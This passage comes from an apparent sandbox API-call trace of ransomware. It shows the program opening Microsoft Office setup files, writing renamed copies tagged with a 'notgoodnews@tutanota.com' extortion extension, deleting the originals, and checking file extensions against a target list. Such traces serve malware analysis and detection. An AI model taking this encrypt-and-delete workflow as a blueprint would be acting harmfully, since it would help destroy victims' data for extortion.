controller\\office.en-us\\branding.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0056.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0056.302] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.302] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0056.303] GetLastError () returned 0x0 [0056.303] ReadFile (in: hFile=0x1cc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x91975, lpOverlapped=0x0) returned 1 [0056.321] WriteFile (in: hFile=0x170, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0056.340] ReadFile (in: hFile=0x1cc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.340] WriteFile (in: hFile=0x170, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.340] SetEndOfFile (hFile=0x170) returned 1 [0056.341] CloseHandle (hObject=0x170) returned 1 [0056.618] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.618] SetEndOfFile (hFile=0x1cc) returned 1 [0056.629] CloseHandle (hObject=0x1cc) returned 1 [0056.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0056.631] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0056.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.912] lstrlenW (lpString=".doc") returned 4 [0056.912] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0056.912] lstrlenW (lpString=".docx") returned 5 [0056.912] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0056.912] lstrlenW (lpString=".pdf") returned 4 [0056.912] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0056.912] lstrlenW (lpString=".xls") returned 4 [0056.912] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0056.912] lstrlenW (lpString=".xlsx") returned 5 [0056.913] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0056.913] lstrlenW (lpString=".ppt") returned 4 [0056.913] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0056.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.913] lstrlenW (lpString=".zip") returned 4 [0056.913] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0056.913] lstrlenW (lpString=".rar") returned 4 [0056.913] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0056.913] lstrlenW (lpString=".bz2") returned 4 [0056.913] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0056.913] lstrlenW (lpString=".7z") returned 3 [0056.913] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0056.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.913] lstrlenW (lpString=".dbf") returned 4 [0056.913] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0056.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.913] lstrlenW (lpString=".1cd") returned 4 [0056.913] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0056.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.913] lstrlenW (lpString=".jpg") returned 4 [0056.913] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0056.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.914] lstrlenW (lpString=".doc") returned 4 [0056.914] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0056.914] lstrlenW (lpString=".docx") returned 5 [0056.914] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0056.914] lstrlenW (lpString=".pdf") returned 4 [0056.914] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0056.914] lstrlenW (lpString=".xls") returned 4 [0056.914] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0056.914] lstrlenW (lpString=".xlsx") returned 5 [0056.914] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0056.914] lstrlenW (lpString=".ppt") returned 4 [0056.914] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0056.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.914] lstrlenW (lpString=".zip") returned 4 [0056.914] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0056.914] lstrlenW (lpString=".rar") returned 4 [0056.914] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0056.914] lstrlenW (lpString=".bz2") returned 4 [0056.914] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0056.914] lstrlenW (lpString=".7z") returned 3 [0056.915] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0056.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.915] lstrlenW (lpString=".dbf") returned 4 [0056.915] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0056.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.915] lstrlenW (lpString=".1cd") returned 4 [0056.915] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0056.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0056.915] lstrlenW (lpString=".jpg") returned 4 [0056.915] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0056.915] lstrcmpiW (lpString1=".CHM", lpString2=".NEWS") returned -1 [0056.915] lstrlenW (lpString="PSS10O.CHM") returned 10 [0056.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.876] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=26929) returned 1 [0058.877] CloseHandle (hObject=0x1fc) returned 1 [0058.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0058.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.887] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.887] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.887] GetLastError () returned 0x0 [0058.887] ReadFile (in: hFile=0x1fc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x6931, lpOverlapped=0x0) returned 1 [0058.891] WriteFile (in: hFile=0x1f4, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0058.893] ReadFile (in: hFile=0x1fc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.893] WriteFile (in: hFile=0x1f4, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0058.893] SetEndOfFile (hFile=0x1f4) returned 1 [0058.893] CloseHandle (hObject=0x1f4) returned 1 [0058.894] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.894] SetEndOfFile (hFile=0x1fc) returned 1 [0058.896] CloseHandle (hObject=0x1fc) returned 1 [0058.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0058.897] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0058.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.897] lstrlenW (lpString=".doc") returned 4 [0058.897] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0058.897] lstrlenW (lpString=".docx") returned 5 [0058.897] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0058.897] lstrlenW (lpString=".pdf") returned 4 [0058.897] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0058.897] lstrlenW (lpString=".xls") returned 4 [0058.897] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0058.897] lstrlenW (lpString=".xlsx") returned 5 [0058.897] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0058.897] lstrlenW (lpString=".ppt") returned 4 [0058.897] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0058.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.898] lstrlenW (lpString=".zip") returned 4 [0058.898] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0058.898] lstrlenW (lpString=".rar") returned 4 [0058.898] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0058.898] lstrlenW (lpString=".bz2") returned 4 [0058.898] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0058.898] lstrlenW (lpString=".7z") returned 3 [0058.898] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0058.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.898] lstrlenW (lpString=".dbf") returned 4 [0058.898] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0058.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.898] lstrlenW (lpString=".1cd") returned 4 [0058.898] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0058.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.898] lstrlenW (lpString=".jpg") returned 4 [0058.898] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0058.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.952] lstrlenW (lpString=".doc") returned 4 [0058.952] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0058.952] lstrlenW (lpString=".docx") returned 5 [0058.952] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0058.952] lstrlenW (lpString=".pdf") returned 4 [0058.952] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0058.952] lstrlenW (lpString=".xls") returned 4 [0058.952] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0058.952] lstrlenW (lpString=".xlsx") returned 5 [0058.952] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0058.952] lstrlenW (lpString=".ppt") returned 4 [0058.952] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0058.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.952] lstrlenW (lpString=".zip") returned 4 [0058.952] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0058.952] lstrlenW (lpString=".rar") returned 4 [0058.952] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0058.952] lstrlenW (lpString=".bz2") returned 4 [0058.952] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0058.952] lstrlenW (lpString=".7z") returned 3 [0058.952] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0058.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.953] lstrlenW (lpString=".dbf") returned 4 [0058.953] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0058.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.953] lstrlenW (lpString=".1cd") returned 4 [0058.953] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0058.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0058.953] lstrlenW (lpString=".jpg") returned 4 [0058.953] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0058.953] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0058.953] lstrlenW (lpString="SETUP.XML") returned 9 [0058.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.996] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1988) returned 1 [0058.997] CloseHandle (hObject=0x214) returned 1 [0058.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0058.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0058.997] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.997] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.998] GetLastError () returned 0x0 [0058.998] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0059.045] WriteFile (in: hFile=0x1f4, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0059.047] ReadFile (in: hFile=0x214, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.047] WriteFile (in: hFile=0x1f4, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0059.047] SetEndOfFile (hFile=0x1f4) returned 1 [0059.048] CloseHandle (hObject=0x1f4) returned 1 [0059.049] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.049] SetEndOfFile (hFile=0x214) returned 1 [0059.051] CloseHandle (hObject=0x214) returned 1 [0059.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0059.052] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0059.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.052] lstrlenW (lpString=".doc") returned 4 [0059.052] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.052] lstrlenW (lpString=".docx") returned 5 [0059.052] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0059.052] lstrlenW (lpString=".pdf") returned 4 [0059.052] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.053] lstrlenW (lpString=".xls") returned 4 [0059.053] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.053] lstrlenW (lpString=".xlsx") returned 5 [0059.053] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0059.053] lstrlenW (lpString=".ppt") returned 4 [0059.053] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.053] lstrlenW (lpString=".zip") returned 4 [0059.053] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.053] lstrlenW (lpString=".rar") returned 4 [0059.053] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.053] lstrlenW (lpString=".bz2") returned 4 [0059.053] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.053] lstrlenW (lpString=".7z") returned 3 [0059.053] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.053] lstrlenW (lpString=".dbf") returned 4 [0059.053] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.053] lstrlenW (lpString=".1cd") returned 4 [0059.053] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.054] lstrlenW (lpString=".jpg") returned 4 [0059.054] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.054] lstrlenW (lpString=".doc") returned 4 [0059.054] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.054] lstrlenW (lpString=".docx") returned 5 [0059.054] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0059.054] lstrlenW (lpString=".pdf") returned 4 [0059.054] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.054] lstrlenW (lpString=".xls") returned 4 [0059.054] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.054] lstrlenW (lpString=".xlsx") returned 5 [0059.054] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0059.054] lstrlenW (lpString=".ppt") returned 4 [0059.054] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.055] lstrlenW (lpString=".zip") returned 4 [0059.055] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.055] lstrlenW (lpString=".rar") returned 4 [0059.055] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.055] lstrlenW (lpString=".bz2") returned 4 [0059.055] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.055] lstrlenW (lpString=".7z") returned 3 [0059.055] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.055] lstrlenW (lpString=".dbf") returned 4 [0059.055] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0059.055] lstrlenW (lpString=".1cd") returned 4 [0059.055] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 